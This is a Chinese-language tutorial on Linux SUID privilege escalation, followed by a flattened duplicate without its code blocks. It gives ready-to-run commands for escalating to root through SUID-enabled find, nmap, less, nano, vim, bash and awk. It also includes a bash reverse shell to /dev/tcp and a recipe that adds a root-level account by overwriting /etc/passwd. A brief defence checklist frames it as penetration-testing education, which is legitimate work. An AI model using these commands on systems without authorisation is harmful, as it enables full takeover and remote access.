浅谈linux suid提权
字数 1296 2025-08-24 07:48:22

Linux SUID提权技术详解

1. SUID基础概念

1.1 什么是SUID

SUID(Set User ID)是Linux中的一种特殊权限,它允许调用者以文件拥有者身份运行该文件。SUID的特点是:

  • 当用户运行具有SUID权限的程序时,程序运行进程的属主不是发起者,而是程序文件所属的属主
  • 这种权限只在程序执行过程中有效
  • 只有root用户的UID是0

1.2 Linux用户管理文件

Linux使用三个主要文件管理用户和组:

  1. /etc/passwd - 存放用户信息
  2. /etc/shadow - 存放用户密码信息
  3. /etc/group - 存放组信息

/etc/passwd文件每行包含7个字段(冒号分隔):

  • 字段1:用户名
  • 字段2:用户密码(通常为x,实际密码在shadow文件)
  • 字段3:UID
  • 字段4:组UID
  • 字段5:解释说明字段
  • 字段6:用户根目录
  • 字段7:登录shell(如/bin/zsh表示可登录,/sbin/nologin表示不可登录)

2. SUID权限管理

2.1 设置SUID权限

chmod u+s filename  # 设置SUID权限
chmod u-s filename  # 移除SUID权限

设置后文件权限会显示为-rwS(大写S表示SUID已设置)

2.2 查找SUID文件

常用命令查找具有SUID权限的文件:

find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

命令参数解释:

  • /:从根目录开始查找
  • -perm:搜索指定权限
  • -u=s:查找root用户拥有的SUID文件
  • -type f:查找常规文件
  • 2>/dev/null:将错误信息重定向到空设备

3. 常见SUID提权方法

3.1 find命令提权

# 基本提权方法
find 具有suid权限的filename -exec whoami \; -quit
find 具有suid权限的filename -exec /bin/sh -p \; -quit

# 具体示例
touch 1.txt
/usr/bin/find 1.txt -exec whoami \;

# 反弹shell
find 具有suid权限的filename -exec bash -c 'bash -i >& /dev/tcp/ip/port 0>&1' \;

3.2 nmap提权

适用于nmap 2.02至5.21版本:

nmap --interactive
nmap> !sh
sh-3.2# whoami

高版本nmap可通过nse脚本执行命令(但无法提权):

# 创建1.nse文件内容:
os.execute('/bin/sh')

# 执行
nmap --script=1.nse

3.3 less/more提权

less /etc/passwd
# 在交互界面输入
!/bin/sh

# 或
VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile

注意:需要读取较大的文件才能进入翻页功能

3.4 nano提权

nano
# 快捷键
Ctrl+R
Ctrl+X
# 进入shell

3.5 cp/mv覆盖提权

通过覆盖/etc/passwd文件提权:

# 生成密码
openssl passwd -1 -salt test testaaa

# 添加特权用户
echo 'test:$1$test$giCVmzusADSPMon2mwEWo1:0:0::/root/:/bin/sh' >> passwd

# 覆盖/etc/passwd
cp passwd /etc/passwd

# 切换用户
su - test

3.6 vim提权

当vim配置了SUID权限时:

vim.tiny /etc/passwd
:!/bin/sh

3.7 bash提权

当bash具有SUID权限时:

bash -p
# 检查权限
id

3.8 awk提权

awk 'BEGIN {system("/bin/bash")}'

4. 其他提权方法

4.1 历史记录检查

cat ~/.bash_history

可能泄露敏感信息如root密码

4.2 计划任务提权

检查计划任务:

ls -l /etc/cron*

寻找可修改的用户脚本进行提权

4.3 配置错误提权

使用自动化工具检查系统配置错误:

  1. linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
  2. unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check

5. 防御措施

  1. 定期检查系统SUID文件
  2. 移除不必要的SUID权限
  3. 保持系统和软件更新
  4. 限制用户权限
  5. 监控系统日志

6. 常见具有SUID权限的命令

以下命令常被用于SUID提权:

  • nmap
  • vim
  • find
  • bash
  • more
  • less
  • nano
  • cp
  • awk
  • mv

通过理解这些技术,安全人员可以更好地评估系统安全性,同时管理员可以采取适当措施防止此类提权攻击。

Linux SUID提权技术详解 1. SUID基础概念 1.1 什么是SUID SUID(Set User ID)是Linux中的一种特殊权限,它允许调用者以文件拥有者身份运行该文件。SUID的特点是: 当用户运行具有SUID权限的程序时,程序运行进程的属主不是发起者,而是程序文件所属的属主 这种权限只在程序执行过程中有效 只有root用户的UID是0 1.2 Linux用户管理文件 Linux使用三个主要文件管理用户和组: /etc/passwd - 存放用户信息 /etc/shadow - 存放用户密码信息 /etc/group - 存放组信息 /etc/passwd 文件每行包含7个字段(冒号分隔): 字段1:用户名 字段2:用户密码(通常为x,实际密码在shadow文件) 字段3:UID 字段4:组UID 字段5:解释说明字段 字段6:用户根目录 字段7:登录shell(如 /bin/zsh 表示可登录, /sbin/nologin 表示不可登录) 2. SUID权限管理 2.1 设置SUID权限 设置后文件权限会显示为 -rwS (大写S表示SUID已设置) 2.2 查找SUID文件 常用命令查找具有SUID权限的文件: 命令参数解释: / :从根目录开始查找 -perm :搜索指定权限 -u=s :查找root用户拥有的SUID文件 -type f :查找常规文件 2>/dev/null :将错误信息重定向到空设备 3. 常见SUID提权方法 3.1 find命令提权 3.2 nmap提权 适用于nmap 2.02至5.21版本: 高版本nmap可通过nse脚本执行命令(但无法提权): 3.3 less/more提权 注意:需要读取较大的文件才能进入翻页功能 3.4 nano提权 3.5 cp/mv覆盖提权 通过覆盖/etc/passwd文件提权: 3.6 vim提权 当vim配置了SUID权限时: 3.7 bash提权 当bash具有SUID权限时: 3.8 awk提权 4. 其他提权方法 4.1 历史记录检查 可能泄露敏感信息如root密码 4.2 计划任务提权 检查计划任务: 寻找可修改的用户脚本进行提权 4.3 配置错误提权 使用自动化工具检查系统配置错误: linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check 5. 防御措施 定期检查系统SUID文件 移除不必要的SUID权限 保持系统和软件更新 限制用户权限 监控系统日志 6. 常见具有SUID权限的命令 以下命令常被用于SUID提权: nmap vim find bash more less nano cp awk mv 通过理解这些技术,安全人员可以更好地评估系统安全性,同时管理员可以采取适当措施防止此类提权攻击。